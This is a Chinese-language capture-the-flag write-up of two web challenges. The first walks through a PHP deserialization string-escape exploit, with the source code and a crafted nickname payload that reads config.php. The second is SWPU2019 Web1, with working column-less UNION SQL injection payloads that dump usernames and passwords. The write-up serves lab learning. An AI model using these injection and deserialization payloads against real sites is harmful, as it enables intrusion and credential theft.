 看界面很像sql注入,但是试了几次发觉不太行。dirsearch扫一下目录,找到了www.zip文件。  profile.php里有反序列化的代码,应该可以利用:
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
还看到了register.php,访问一下真的可以注册,注册好以后会让我们更新profile,再结合profile.php里对photo调用了file_get_contents函数,可以判断这里存在可注入点。  那我们要用file_get_contents读取哪个文件呢?发现config.php文件里有flag,但是在这里被隐藏了,所以我们的目标就是给photo传值‘config.php’  再看profile.php,这里就是把我们输入的信息构造成序列化字符串的地方,还做了一些过滤,然后调用了update_profile。
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
update_profile在class.php里,做了字符串替换,把’’’, ‘\\‘换成了’_’,‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’换成了’hacker’。熟悉反序列化的人就知道,一替换字符串就会有字符串逃逸漏洞。
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
比如这里’\\‘变成’/'就会让nickname吞噬掉一部分photo的内容,'where’变成’hacker’则会让我们传入的nickname的一部分变成photo的内容。这里我们利用第二种,我们希望最后逃逸出来的字符串是";}s:5:"photo";s:10:"config.php";} 一共34个字符,所以我们应该往nickname里塞34个where
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
但是我上传以后回显invalid nickname,才想起来这里限制了nickname的长度,查了别人的WP可以用数组绕过。  bp抓包把nickname修改成nickname[],虽然上传后会报错但是点进Profile然后查看源码可以看到一串base64字符串,解密得到flag。  
 [SWPU2019]Web1
注册一个账号然后登陆登陆可以看到这样一个页面,直觉上是XSS  简单地试一下是显示了的,但好像在这道题里没什么用。   看了网上别人写的WP才知道是无列名注入,这里贴一个别人的博客,我觉得写的很好 先手动试一波列数(用/**/代替被过滤的空格),试到22列的时候不报错,回显点是2和3
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
 如果列数不对的话比如输入-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,'21 ,至少会直接告诉你列数错误  把2和3作为username和password的列名,然后a作为2的别名,b作为3的别名,查询a就能看到username,查询b就能看到password
-1'/**/union/**/select/**/1, (select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

-1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

|